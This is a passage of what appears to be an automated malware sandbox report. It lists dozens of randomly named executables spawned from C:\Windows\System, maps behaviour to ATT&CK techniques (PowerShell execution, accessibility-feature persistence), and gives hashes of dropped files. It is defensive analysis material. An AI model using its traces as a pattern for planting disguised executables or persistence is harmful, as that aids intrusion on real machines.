- C:\Windows\System\kJzGqTa.exe
  C:\Windows\System\kJzGqTa.exe
  2⤵
  PID:11988
- C:\Windows\System\aiLfhtF.exe
  C:\Windows\System\aiLfhtF.exe
  2⤵
  PID:14828
- C:\Windows\System\wcMexaj.exe
  C:\Windows\System\wcMexaj.exe
  2⤵
  PID:14856
- C:\Windows\System\iegwcBO.exe
  C:\Windows\System\iegwcBO.exe
  2⤵
  PID:14812
- C:\Windows\System\pooCbfM.exe
  C:\Windows\System\pooCbfM.exe
  2⤵
  PID:14836
- C:\Windows\System\TGljRWn.exe
  C:\Windows\System\TGljRWn.exe
  2⤵
  PID:14912
- C:\Windows\System\jFEQbLY.exe
  C:\Windows\System\jFEQbLY.exe
  2⤵
  PID:15108
- C:\Windows\System\RLgMQCo.exe
  C:\Windows\System\RLgMQCo.exe
  2⤵
  PID:15124
- C:\Windows\System\eFSvTke.exe
  C:\Windows\System\eFSvTke.exe
  2⤵
  PID:15172
- C:\Windows\System\jdMFbrd.exe
  C:\Windows\System\jdMFbrd.exe
  2⤵
  PID:15224
- C:\Windows\System\pxAjZvv.exe
  C:\Windows\System\pxAjZvv.exe
  2⤵
  PID:15128
- C:\Windows\System\koMMhpN.exe
  C:\Windows\System\koMMhpN.exe
  2⤵
  PID:15228
- C:\Windows\System\GuFbpGb.exe
  C:\Windows\System\GuFbpGb.exe
  2⤵
  PID:8944
- C:\Windows\System\cTgsTDy.exe
  C:\Windows\System\cTgsTDy.exe
  2⤵
  PID:10324
- C:\Windows\System\CQUigeH.exe
  C:\Windows\System\CQUigeH.exe
  2⤵
  PID:13972
- C:\Windows\System\XfRFFog.exe
  C:\Windows\System\XfRFFog.exe
  2⤵
  PID:15264
- C:\Windows\System\nZFyDUG.exe
  C:\Windows\System\nZFyDUG.exe
  2⤵
  PID:12212
- C:\Windows\System\HzHPqnN.exe
  C:\Windows\System\HzHPqnN.exe
  2⤵
  PID:4376
- C:\Windows\System\XboygwS.exe
  C:\Windows\System\XboygwS.exe
  2⤵
  PID:10780
- C:\Windows\System\CKjZLSZ.exe
  C:\Windows\System\CKjZLSZ.exe
  2⤵
  PID:14120
- C:\Windows\System\wCJQgOj.exe
  C:\Windows\System\wCJQgOj.exe
  2⤵
  PID:15052
- C:\Windows\System\XuUXquU.exe
  C:\Windows\System\XuUXquU.exe
  2⤵
  PID:14292
- C:\Windows\System\lQiiXvG.exe
  C:\Windows\System\lQiiXvG.exe
  2⤵
  PID:14648
- C:\Windows\System\xytiSWE.exe
  C:\Windows\System\xytiSWE.exe
  2⤵
  PID:14540
- C:\Windows\System\VNirosK.exe
  C:\Windows\System\VNirosK.exe
  2⤵
  PID:14400
- C:\Windows\System\MVDTvBw.exe
  C:\Windows\System\MVDTvBw.exe
  2⤵
  PID:13728
- C:\Windows\System\PKDCBhJ.exe
  C:\Windows\System\PKDCBhJ.exe
  2⤵
  PID:14224
- C:\Windows\System\hqQFRaA.exe
  C:\Windows\System\hqQFRaA.exe
  2⤵
  PID:14636
- C:\Windows\System\gqgaEjA.exe
  C:\Windows\System\gqgaEjA.exe
  2⤵
  PID:14772
- C:\Windows\System\FAZOfSd.exe
  C:\Windows\System\FAZOfSd.exe
  2⤵
  PID:14944
- C:\Windows\System\aOJHrOw.exe
  C:\Windows\System\aOJHrOw.exe
  2⤵
  PID:14744
- C:\Windows\System\HnvRpWe.exe
  C:\Windows\System\HnvRpWe.exe
  2⤵
  PID:15092
- C:\Windows\System\ftZGdRO.exe
  C:\Windows\System\ftZGdRO.exe
  2⤵
  PID:14656
- C:\Windows\System\tKNBrnh.exe
  C:\Windows\System\tKNBrnh.exe
  2⤵
  PID:15064
- C:\Windows\System\FLlrrWr.exe
  C:\Windows\System\FLlrrWr.exe
  2⤵
  PID:14932
- C:\Windows\System\uBoRRar.exe
  C:\Windows\System\uBoRRar.exe
  2⤵
  PID:15356
- C:\Windows\System\kGDWAlA.exe
  C:\Windows\System\kGDWAlA.exe
  2⤵
  PID:5408
- C:\Windows\System\buKAwEz.exe
  C:\Windows\System\buKAwEz.exe
  2⤵
  PID:14412
- C:\Windows\System\YPDBnQA.exe
  C:\Windows\System\YPDBnQA.exe
  2⤵
  PID:14448
- C:\Windows\System\kCNxCRQ.exe
  C:\Windows\System\kCNxCRQ.exe
  2⤵
  PID:14888
- C:\Windows\System\WhyPcDp.exe
  C:\Windows\System\WhyPcDp.exe
  2⤵
  PID:13952
- C:\Windows\System\dAmoYdh.exe
  C:\Windows\System\dAmoYdh.exe
  2⤵
  PID:15260
- C:\Windows\System\nYGGysU.exe
  C:\Windows\System\nYGGysU.exe
  2⤵
  PID:14348
- C:\Windows\System\wKTirbC.exe
  C:\Windows\System\wKTirbC.exe
  2⤵
  PID:14440
- C:\Windows\System\TGHYWUQ.exe
  C:\Windows\System\TGHYWUQ.exe
  2⤵
  PID:14416
- C:\Windows\System\HVUmFXQ.exe
  C:\Windows\System\HVUmFXQ.exe
  2⤵
  PID:14672
- C:\Windows\System\bbDSRFN.exe
  C:\Windows\System\bbDSRFN.exe
  2⤵
  PID:15148
- C:\Windows\System\KMEuTps.exe
  C:\Windows\System\KMEuTps.exe
  2⤵
  PID:14640
- C:\Windows\System\HxfVcuF.exe
  C:\Windows\System\HxfVcuF.exe
  2⤵
  PID:14960
- C:\Windows\System\omZrddI.exe
  C:\Windows\System\omZrddI.exe
  2⤵
  PID:14460
- C:\Windows\System\wPFwQXb.exe
  C:\Windows\System\wPFwQXb.exe
  2⤵
  PID:14968
- C:\Windows\System\TPsoLWO.exe
  C:\Windows\System\TPsoLWO.exe
  2⤵
  PID:14704
- C:\Windows\System\DLwVeQS.exe
  C:\Windows\System\DLwVeQS.exe
  2⤵
  PID:14660
- C:\Windows\System\aGtrXtC.exe
  C:\Windows\System\aGtrXtC.exe
  2⤵
  PID:15016
- C:\Windows\System\DuwiwTx.exe
  C:\Windows\System\DuwiwTx.exe
  2⤵
  PID:15004
- C:\Windows\System\YvHXNHN.exe
  C:\Windows\System\YvHXNHN.exe
  2⤵
  PID:15248
- C:\Windows\System\QYgJCgm.exe
  C:\Windows\System\QYgJCgm.exe
  2⤵
  PID:13984
- C:\Windows\System\bpArjRG.exe
  C:\Windows\System\bpArjRG.exe
  2⤵
  PID:1188
- C:\Windows\System\zQMjcKb.exe
  C:\Windows\System\zQMjcKb.exe
  2⤵
  PID:14680
- C:\Windows\System\CaBuGZi.exe
  C:\Windows\System\CaBuGZi.exe
  2⤵
  PID:14272
- C:\Windows\System\eUlTjjk.exe
  C:\Windows\System\eUlTjjk.exe
  2⤵
  PID:14608
- C:\Windows\System\FYVxing.exe
  C:\Windows\System\FYVxing.exe
  2⤵
  PID:14588
- C:\Windows\System\ThYRTji.exe
  C:\Windows\System\ThYRTji.exe
  2⤵
  PID:14708
- C:\Windows\System\OyIVksF.exe
  C:\Windows\System\OyIVksF.exe
  2⤵
  PID:15068
- C:\Windows\System\hDzxauw.exe
  C:\Windows\System\hDzxauw.exe
  2⤵
  PID:14956
- C:\Windows\System\wxPoIjA.exe
  C:\Windows\System\wxPoIjA.exe
  2⤵
  PID:14396
- C:\Windows\System\TZIMvqO.exe
  C:\Windows\System\TZIMvqO.exe
  2⤵
  PID:15120
- C:\Windows\System\ACCLgUB.exe
  C:\Windows\System\ACCLgUB.exe
  2⤵
  PID:15252
- C:\Windows\System\djIyBcx.exe
  C:\Windows\System\djIyBcx.exe
  2⤵
  PID:15144
- C:\Windows\System\ldxuhgy.exe
  C:\Windows\System\ldxuhgy.exe
  2⤵
  PID:14444
- C:\Windows\System\yudgfKw.exe
  C:\Windows\System\yudgfKw.exe
  2⤵
  PID:1128
- C:\Windows\System\taluWsv.exe
  C:\Windows\System\taluWsv.exe
  2⤵
  PID:468
- C:\Windows\System\EGyhKxm.exe
  C:\Windows\System\EGyhKxm.exe
  2⤵
  PID:2580
- C:\Windows\System\jaSpBAO.exe
  C:\Windows\System\jaSpBAO.exe
  2⤵
  PID:14824
- C:\Windows\System\mvjfDko.exe
  C:\Windows\System\mvjfDko.exe
  2⤵
  PID:15072
- C:\Windows\System\uzrFzWb.exe
  C:\Windows\System\uzrFzWb.exe
  2⤵
  PID:15160
- C:\Windows\System\vvgKCuY.exe
  C:\Windows\System\vvgKCuY.exe
  2⤵
  PID:14684
- C:\Windows\System\ZieqyqE.exe
  C:\Windows\System\ZieqyqE.exe
  2⤵
  PID:14352
- C:\Windows\System\IKdEHNU.exe
  C:\Windows\System\IKdEHNU.exe
  2⤵
  PID:14892
- C:\Windows\System\GwMgHQj.exe
  C:\Windows\System\GwMgHQj.exe
  2⤵
  PID:2348
- C:\Windows\System\vzrIThT.exe
  C:\Windows\System\vzrIThT.exe
  2⤵
  PID:4168
- C:\Windows\System\nUlAYfP.exe
  C:\Windows\System\nUlAYfP.exe
  2⤵
  PID:4292
- C:\Windows\System\HHdGbEw.exe
  C:\Windows\System\HHdGbEw.exe
  2⤵
  PID:14340
- C:\Windows\System\gnrxRSX.exe
  C:\Windows\System\gnrxRSX.exe
  2⤵
  PID:15192
- C:\Windows\System\hiCZMZB.exe
  C:\Windows\System\hiCZMZB.exe
  2⤵
  PID:15208
- C:\Windows\System\scviRzo.exe
  C:\Windows\System\scviRzo.exe
  2⤵
  PID:15152
- C:\Windows\System\wYHeFwU.exe
  C:\Windows\System\wYHeFwU.exe
  2⤵
  PID:15284
- C:\Windows\System\YisyUXm.exe
  C:\Windows\System\YisyUXm.exe
  2⤵
  PID:15156
- C:\Windows\System\DbOiPco.exe
  C:\Windows\System\DbOiPco.exe
  2⤵
  PID:4100
- C:\Windows\System\IdkJnAq.exe
  C:\Windows\System\IdkJnAq.exe
  2⤵
  PID:4232
- C:\Windows\System\EoNJgZb.exe
  C:\Windows\System\EoNJgZb.exe
  2⤵
  PID:4300
- C:\Windows\System\wquvqwT.exe
  C:\Windows\System\wquvqwT.exe
  2⤵
  PID:15044
- C:\Windows\System\LiZqLKF.exe
  C:\Windows\System\LiZqLKF.exe
  2⤵
  PID:14872
- C:\Windows\System\UowuaLS.exe
  C:\Windows\System\UowuaLS.exe
  2⤵
  PID:4400
- C:\Windows\System\UpUmlKX.exe
  C:\Windows\System\UpUmlKX.exe
  2⤵
  PID:14760
- C:\Windows\System\OOyHKkh.exe
  C:\Windows\System\OOyHKkh.exe
  2⤵
  PID:4428
- C:\Windows\System\IEpdzPS.exe
  C:\Windows\System\IEpdzPS.exe
  2⤵
  PID:15032
- C:\Windows\System\XIrzvTI.exe
  C:\Windows\System\XIrzvTI.exe
  2⤵
  PID:4288
- C:\Windows\System\lYfrzRz.exe
  C:\Windows\System\lYfrzRz.exe
  2⤵
  PID:4392
- C:\Windows\System\UKQbklH.exe
  C:\Windows\System\UKQbklH.exe
  2⤵
  PID:15188
- C:\Windows\System\OuwHxgW.exe
  C:\Windows\System\OuwHxgW.exe
  2⤵
  PID:1012
- C:\Windows\System\cZbvlbm.exe
  C:\Windows\System\cZbvlbm.exe
  2⤵
  PID:14212
- C:\Windows\System\ejGCbJD.exe
  C:\Windows\System\ejGCbJD.exe
  2⤵
  PID:4272
- C:\Windows\System\WsIhEYH.exe
  C:\Windows\System\WsIhEYH.exe
  2⤵
  PID:14144
- C:\Windows\System\OtPmncP.exe
  C:\Windows\System\OtPmncP.exe
  2⤵
  PID:14904
- C:\Windows\System\MJwUquw.exe
  C:\Windows\System\MJwUquw.exe
  2⤵
  PID:15368
- C:\Windows\System\OkhpnBc.exe
  C:\Windows\System\OkhpnBc.exe
  2⤵
  PID:15392
- C:\Windows\System\SVtsdIg.exe
  C:\Windows\System\SVtsdIg.exe
  2⤵
  PID:15408
- C:\Windows\System\vqMnsHD.exe
  C:\Windows\System\vqMnsHD.exe
  2⤵
  PID:15428
- C:\Windows\System\ZpFdJjt.exe
  C:\Windows\System\ZpFdJjt.exe
  2⤵
  PID:15448
- C:\Windows\System\fiwxIqA.exe
  C:\Windows\System\fiwxIqA.exe
  2⤵
  PID:15476
- C:\Windows\System\mwTQqKq.exe
  C:\Windows\System\mwTQqKq.exe
  2⤵
  PID:15496
- C:\Windows\System\UPHoRed.exe
  C:\Windows\System\UPHoRed.exe
  2⤵
  PID:15528
- C:\Windows\System\SGKjHWq.exe
  C:\Windows\System\SGKjHWq.exe
  2⤵
  PID:15548
- C:\Windows\System\rUVdIgi.exe
  C:\Windows\System\rUVdIgi.exe
  2⤵
  PID:15580
- C:\Windows\System\kzjsXiq.exe
  C:\Windows\System\kzjsXiq.exe
  2⤵
  PID:15656
- C:\Windows\System\bZzEkFP.exe
  C:\Windows\System\bZzEkFP.exe
  2⤵
  PID:15672
- C:\Windows\System\LecNKMU.exe
  C:\Windows\System\LecNKMU.exe
  2⤵
  PID:15696
- C:\Windows\System\mgvMOFL.exe
  C:\Windows\System\mgvMOFL.exe
  2⤵
  PID:15712
- C:\Windows\System\jJgQixz.exe
  C:\Windows\System\jJgQixz.exe
  2⤵
  PID:15736
- C:\Windows\System\TXYCpDh.exe
  C:\Windows\System\TXYCpDh.exe
  2⤵
  PID:15756
- C:\Windows\System\IgaEBfJ.exe
  C:\Windows\System\IgaEBfJ.exe
  2⤵
  PID:15788
- C:\Windows\System\CRdBChn.exe
  C:\Windows\System\CRdBChn.exe
  2⤵
  PID:15804
- C:\Windows\System\nErgZNF.exe
  C:\Windows\System\nErgZNF.exe
  2⤵
  PID:15824
- C:\Windows\System\dKweSAV.exe
  C:\Windows\System\dKweSAV.exe
  2⤵
  PID:15844
- C:\Windows\System\yrXVyGk.exe
  C:\Windows\System\yrXVyGk.exe
  2⤵
  PID:15868
- C:\Windows\System\NAcanYw.exe
  C:\Windows\System\NAcanYw.exe
  2⤵
  PID:15888
- C:\Windows\System\rwKOFaj.exe
  C:\Windows\System\rwKOFaj.exe
  2⤵
  PID:15912
- C:\Windows\System\ZMJEcWA.exe
  C:\Windows\System\ZMJEcWA.exe
  2⤵
  PID:15932
- C:\Windows\System\zjYahtv.exe
  C:\Windows\System\zjYahtv.exe
  2⤵
  PID:15964
- C:\Windows\System\yzwpIVY.exe
  C:\Windows\System\yzwpIVY.exe
  2⤵
  PID:15980
- C:\Windows\System\hBRhUjQ.exe
  C:\Windows\System\hBRhUjQ.exe
  2⤵
  PID:15996
- C:\Windows\System\TFSzyJB.exe
  C:\Windows\System\TFSzyJB.exe
  2⤵
  PID:16016
- C:\Windows\System\RYYsAon.exe
  C:\Windows\System\RYYsAon.exe
  2⤵
  PID:16032
- C:\Windows\System\UwSAhBQ.exe
  C:\Windows\System\UwSAhBQ.exe
  2⤵
  PID:16064
- C:\Windows\System\RkceYDO.exe
  C:\Windows\System\RkceYDO.exe
  2⤵
  PID:16092
- C:\Windows\System\QOHdzmn.exe
  C:\Windows\System\QOHdzmn.exe
  2⤵
  PID:16112
- C:\Windows\System\mozORbp.exe
  C:\Windows\System\mozORbp.exe
  2⤵
  PID:16140
- C:\Windows\System\GChgUaA.exe
  C:\Windows\System\GChgUaA.exe
  2⤵
  PID:16164
- C:\Windows\System\LSuSFng.exe
  C:\Windows\System\LSuSFng.exe
  2⤵
  PID:16180
- C:\Windows\System\EUASaRN.exe
  C:\Windows\System\EUASaRN.exe
  2⤵
  PID:16212
- C:\Windows\System\YIvALbU.exe
  C:\Windows\System\YIvALbU.exe
  2⤵
  PID:16232
- C:\Windows\System\ckclGeG.exe
  C:\Windows\System\ckclGeG.exe
  2⤵
  PID:16252
- C:\Windows\System\QlzHemh.exe
  C:\Windows\System\QlzHemh.exe
  2⤵
  PID:16268
- C:\Windows\System\FpizyMc.exe
  C:\Windows\System\FpizyMc.exe
  2⤵
  PID:16288
- C:\Windows\System\xUYQkhs.exe
  C:\Windows\System\xUYQkhs.exe
  2⤵
  PID:16324
- C:\Windows\System\kjDhFPl.exe
  C:\Windows\System\kjDhFPl.exe
  2⤵
  PID:16344
- C:\Windows\System\DSmhIPC.exe
  C:\Windows\System\DSmhIPC.exe
  2⤵
  PID:16360
- C:\Windows\System\UaHxTYr.exe
  C:\Windows\System\UaHxTYr.exe
  2⤵
  PID:4108
- C:\Windows\System\lhpKOtk.exe
  C:\Windows\System\lhpKOtk.exe
  2⤵
  PID:15376
- C:\Windows\System\RZBRcCl.exe
  C:\Windows\System\RZBRcCl.exe
  2⤵
  PID:15384
- C:\Windows\System\XSFzHKn.exe
  C:\Windows\System\XSFzHKn.exe
  2⤵
  PID:14884
- C:\Windows\System\mvkFLBK.exe
  C:\Windows\System\mvkFLBK.exe
  2⤵
  PID:15400
- C:\Windows\System\TICLztI.exe
  C:\Windows\System\TICLztI.exe
  2⤵
  PID:15488
- C:\Windows\System\jRxpnsd.exe
  C:\Windows\System\jRxpnsd.exe
  2⤵
  PID:15472
- C:\Windows\System\SnifUTi.exe
  C:\Windows\System\SnifUTi.exe
  2⤵
  PID:15524
- C:\Windows\System\cVGumJn.exe
  C:\Windows\System\cVGumJn.exe
  2⤵
  PID:15572
- C:\Windows\System\FMVnGWR.exe
  C:\Windows\System\FMVnGWR.exe
  2⤵
  PID:15608
- C:\Windows\System\zQJsvrS.exe
  C:\Windows\System\zQJsvrS.exe
  2⤵
  PID:15732
- C:\Windows\System\LiBgfpH.exe
  C:\Windows\System\LiBgfpH.exe
  2⤵
  PID:15768
- C:\Windows\System\jTWSrIo.exe
  C:\Windows\System\jTWSrIo.exe
  2⤵
  PID:15836
- C:\Windows\System\ARTXfPI.exe
  C:\Windows\System\ARTXfPI.exe
  2⤵
  PID:15820
- C:\Windows\System\OdXCIFD.exe
  C:\Windows\System\OdXCIFD.exe
  2⤵
  PID:15924
- C:\Windows\System\lzTZqUr.exe
  C:\Windows\System\lzTZqUr.exe
  2⤵
  PID:15944
- C:\Windows\System\sgtYqhx.exe
  C:\Windows\System\sgtYqhx.exe
  2⤵
  PID:15948
- C:\Windows\System\SeLNeNG.exe
  C:\Windows\System\SeLNeNG.exe
  2⤵
  PID:15988
- C:\Windows\System\YegNYaA.exe
  C:\Windows\System\YegNYaA.exe
  2⤵
  PID:16044
- C:\Windows\System\LLLsDZy.exe
  C:\Windows\System\LLLsDZy.exe
  2⤵
  PID:16084
- C:\Windows\System\bflmuQk.exe
  C:\Windows\System\bflmuQk.exe
  2⤵
  PID:16080
- C:\Windows\System\jnAPzMB.exe
  C:\Windows\System\jnAPzMB.exe
  2⤵
  PID:16172
- C:\Windows\System\INjVbgk.exe
  C:\Windows\System\INjVbgk.exe
  2⤵
  PID:16100

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 444 -p 13016 -ip 13016
1⤵
PID:10868

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 772 -p 964 -ip 964
1⤵
PID:1856

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 676 -p 12200 -ip 12200
1⤵
PID:13296

C:\Windows\system32\dwm.exe
"dwm.exe"
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:5368

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:6228

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:13636

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:14088

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:14216

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:10780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Privilege Escalation

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4j53dw3u.pgv.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\System\BduajBL.exe

Filesize
1.6MB

MD5
02d2b660bb2e34916d69572393fcdfa2

SHA1
204f9c8b173e1a73c96a1241aee3d1e70497be1c

SHA256
bc34678299cdf22d7c082116fba2ab4ec44aaa3c7565940d9f7120a92829aec2

SHA512
63a048cbc9013fabaf086ec7305076303fc7a72a42be0f9b3dbb9d793cebc751fbea5626220570de4b1b2ba4da9819ab23e7475ee62caf6d59972be61a2c3b54

Download Submit
C:\Windows\System\EGwhCEN.exe

Filesize
1.6MB

MD5
90d9462362e11fba6a97365a441f8ad1

SHA1
f38da3eddacadf25bdd8d01fc314aaa376a228d7

SHA256
d24aabb7e21c1a7b6815c8b278417b9e75f72bbfb53d13cae583a872deca17e5

SHA512
821c7c10522f18d06a7c00aa434eb79ddcd87dbc46782ddc9aa4ac1c5a9be011799dfebe17e4251f34d12b240fabaf6f2dedbcfb82b7161a73ee7abb138c806f

Download Submit
C:\Windows\System\FlgZApy.exe

Filesize
1.6MB

MD5
36a0931c8996c059d4a271e5ec904dbc

SHA1
4706da75d356c62032a65e27e31aa8808423213c

SHA256
d737168425ae923e0e9578272c28813bfc327023e412f95fd1c98a065bf6a005

SHA512
4d202d8d4afee246e6e65bd6766d2916d4ea4faf006298b3c632e481f808400308f1f18c8d79e9cf0db54c69699c85f690089d310483a7e20dcb94986635f89f

Download Submit
C:\Windows\System\GWWTWAN.exe

Filesize
1.6MB

MD5
d5b1d8c8ce036ad58d7ddebc957edc7b

SHA1
726f54ad6a5bf75a094f2a7a7d98cfbd434f335e

SHA256
1ce341be0a09c0f794b523528cda988b46d7db52e9077657708e9912782da9ad

SHA512
d62b0b51a787571bfb85c0a8383e56ed7a691d2531df5aecb2c4c2663398383304ae9767734d82d7e140b12342aeed6fa04565c7252358da1995347550740e14

Download Submit
C:\Windows\System\HVAXJXD.exe

Filesize
1.6MB

MD5
e1ecaf20506fa0a6291d10fd3814f3de

SHA1
4cea563bfc372e4e3223eb4096af50b551945439

SHA256
ab7cef2dbc1e9be9d236d643a81045f5545461f6cb7f5000ff553ccac11ce2c7

SHA512
d999103ddd92d572c67712ba8e6a4c0287b110fb7db520a07c4700a3b473c5c9e14bd00b7c61484741c86117c519f657b8dce73885dc24939deeae88b859233d

Download Submit
C:\Windows\System\KQuLrZE.exe

Filesize
1.6MB

MD5
a042a479c810a1a784af11dff2cc49a6

SHA1
c8e4f6659c42ae605a320d0b3514e7c5866b43a8

SHA256
b59ec7d42979817229f267a2c69ad174b2bd143758abd5a30af58cbd1f330662

SHA512
87ed0e7bca80d37e9d7aba9e0c39301afde77a20a6f20770b022a26f398e7ac55166a5d1d832e91f2a4f7cd3924f44067bec9ef4b42ac1e666189fc346fc297d

Download Submit
C:\Windows\System\KYXpift.exe

Filesize
1.6MB

MD5
23e98f11b147ba59d7d3443eb1a79421

SHA1
7fd4c0fd37b4ecb4f66d53d76d7d9331501694e0

SHA256
a033247ded922dfbab7ab2c72630d93c7f6019ab891728e39b076331875bef25

SHA512
420602a20cdf7fff0d6a559dbfa68c4a3ab02f0994cbce5ce36136597411423455354d0e395aaf3465f5f484742960b901f763bb59ef193b0b5d80f4c0d6ac6f

Download Submit
C:\Windows\System\LNrCcIY.exe

Filesize
1.6MB

MD5
25ef8a0bab4766230043db26796b9d3f

SHA1
e77b2756d8d49dc48bb1737e1a2923adf33362de

SHA256
f4e9bc4c041fece85a72815a72ce5c2e0e1d392dd7a574750da269de0875966d

SHA512
15e317a1821e790e88a676326237427f92e55a3b6e627e0db24a643f8949a726b916ab94ee0eab786000b6c14b5842acb1714e6f643442e870f1c033b019f52f

Download Submit
C:\Windows\System\MfdBnBK.exe

Filesize
1.6MB

MD5
27dbaf5aa5f1c71c4d6d8c1336523d0d

SHA1
e8e82dfa3c47e77e37eefcc130093e9baeb459f5

SHA256
c08e92f7c7d994992946597a1073d27ae500cd1f7ad5e9b602a4b3b476629bc3

SHA512
ccf2b12198bb93b44ed37bb45a7e8a20f6ffa2d8968890c40e2b7356120fe8125433cc2e3924c547bdb5f243ae5a020eaeeb1cc8fbc8cbe17ee7457971aaf55d

Download Submit
C:\Windows\System\NXLdXbk.exe

Filesize
1.6MB

MD5
d73cf6514cdf262e8eebe93bc884c22d

SHA1
3ab56cfec913252779cd05283253e4fbdf8a17fc

SHA256
daf2418b1f20951409c3f503b79696c3bb28053a91254df02729ae4e2822101e

SHA512
75b91aa0822eaa7b963f7983270fc7ef8574b902c9d6683432b4bbd1bb7afa2db11aae047a68bd5daa2e9af766d6f202c19d21e0810e23bb104817e7ddb1db8a

Download Submit
C:\Windows\System\ObYuzbk.exe

Filesize
1.6MB

MD5
7e4685e622c0827a1e166ed1188f73cd

SHA1
3093f3971cd4eb21aa0b4792affc31fbd53bbdc8

SHA256
512b4869f75904bac6d2145f88786b54d5430bda31628faab6a93dcda1bf7ff6

SHA512
bb9c05671e89caba4f102f09d8510abfa7310f600ac539d6f48846906d06460c8261125a96aaefc196bfa760a45a18d7ce6919bfb1a5715aa0b1d1a4d9e92f6f

Download Submit
C:\Windows\System\OyGYUZA.exe

Filesize
1.6MB

MD5
1b97c796ff4846fad40ffdd2414bbda5

SHA1
5151268c54d3b708e39fd4e19f3f4415d19656b1

SHA256
3f00718b514dd1d6aeff0e5735a9f3fcf8cc924de05a80c2ada7d2a1c65d0cef

SHA512
4ed43103dffeda87b0c939d06b4e36de6f9761ac665e26bea95d5ed280d08066d68561f286d0c01797dfa432d85173a6b94a0919f468a578dfa46f434518893e

Download Submit
C:\Windows\System\PAJqxYt.exe

Filesize
1.6MB

MD5
9ddab34e58646fd7ed28ce5edc3b581f

SHA1
c618775166e6e4e2a01af405f5673158663dd19d

SHA256
473293dba79172452315723d95957c2b46d88892434763b18627238d3f1a81f7

SHA512
6e7bd8eda8036af972a5262c7d611555373bac8edc8716a2205c4f31a7145181e0bad715fdfa7bba12fc504cf7b4f20219c2edd642a33557b35c9d55f5196593

Download Submit
C:\Windows\System\QrypEkr.exe

Filesize
1.6MB

MD5
0cc9b4faea94328a0f50af33bb18dc26

SHA1
73b71fda240638f17ce67115ccdfd38fb688a8e4

SHA256
e876a34ef7597cdb19a1dc928312abf63235e266c0aa95fa6895e0e731361728

SHA512
a1e87915e465cb8fa6a267eacb6c53eb436954f4686bab269bc01eed96a58da0e8c6f50eb94894ebd5904585a6cea775d181b86116f0c7da82b047190f626d9c

Download Submit
C:\Windows\System\QxtQQOR.exe

Filesize
1.6MB

MD5
213fb6e1ddefc86d10be7cf2150b2a21

SHA1
9155b38aa9400ba51cd0b2b4049b4f0f6d19929b

SHA256
da9d398a73cebfc0515f621be1572bd968bf9007fed7c38a5e70d74d20aa9764

SHA512
f91bb86cd9ca217886f1e853f5745c36d890d0a1065d23d53b86353910ac5fe19a976f1fa5f94ac86501e813c5e981b32704053aed24c1b2b2632c6640c4f0a1

Download Submit
C:\Windows\System\RGShIDA.exe

Filesize
1.6MB

MD5
aab9498d41b4f024a73ebfe93e8bd7dd

SHA1
253e6133d739a3cf724bf376bbe43c5b080c8ed0

SHA256
185fe4199beecd3cfe36b0a85e1fef6cdc36938a9093e95e8fda48d72b6d6287

SHA512
21a01949604e903f6fef4a5f4a4c60377917e67e00cedf2013f15b50eb90417655d189c7f0acb13007755dd5de8d004aced816de7cf679aa4f95565b04bbb70f

Download Submit
C:\Windows\System\SYOYgPs.exe

Filesize
1.6MB

MD5
dba81a3250f5f9b06e2a5afdaa691af7

SHA1
ed73ed282328008375949a9d7af4010ac79bc0b4

SHA256
4bb17e5a644c679377afd886b7c534ed16166204576cd04efde9241a251ba9bc

SHA512
f1554fec626a7569e0d133f8aca821a6dd17432bcea2d06c1ccaca20a61911e103303812dea7c8955bf79192178bd51fc22afafa666e93614df0f1ab09d30026

Download Submit
C:\Windows\System\VIEnqIK.exe

Filesize
1.6MB

MD5
a090a672df270f133c0efd01503347d3

SHA1
825463559c25f7784bd3613e8fbbda6c7875d8f8

SHA256
4b92389f881214e6cb3849d78801e6aade83ce4f7f7f1dcb75a195d9358efc04

SHA512
516e35b6df1ce04b71aff30a34354e4c34e9aea1fb241a5645cac4e1176d41c7b6a45a2e9424c7032d6b69015ee6d6202c9f8c8051d984d2e6bffc6a4f7d3dae

Download Submit
C:\Windows\System\XoTflzk.exe

Filesize
1.6MB

MD5
5aa2113ac3ad1314a88987b647cc5806

SHA1
1788f9d34bac26069eeceae0e23e7b05e3bfd645

SHA256
1af0ab48dffd2b62204db9f28a872928ffd736750f4cb5d46a593522517bbef5

SHA512
1c988e7dac03588048c26c72cfdd12301558eb1faea2e3609e5bb85282c27df3cb70e078d490cbc20948b34caff25f642212d603646bdc26f7812a9a70a4c4a6

Download Submit
C:\Windows\System\YUwPKBX.exe

Filesize
1.6MB

MD5
21683ede4f3efee451ae341f76a0a88f

SHA1
745180d731d5bf32f33c330978cf9cfaceacba32

SHA256
f29edd59d33dc48a252fb4fc96d392e545bb50d0be078ef3a64ef1f296e732c9

SHA512
7b441c2820bb0e49771242337423b370321e27ad0ea408f0cac1c3b60fdf174b09d182a334717af8b6f44ea7155659371f1893252f3e86f43ec87c0656c6ba06

Download Submit
C:\Windows\System\bshOxmb.exe

Filesize
1.6MB

MD5
49fb7fb4f5d210fb01444aab710a1cca

SHA1
acb97746d8de64c49baecfb815ba84d3fd55a5bd

SHA256
b8f3176b2995ffd2801e0941c18b824b2396120c8ed84799add1f4ac7248674a

SHA512
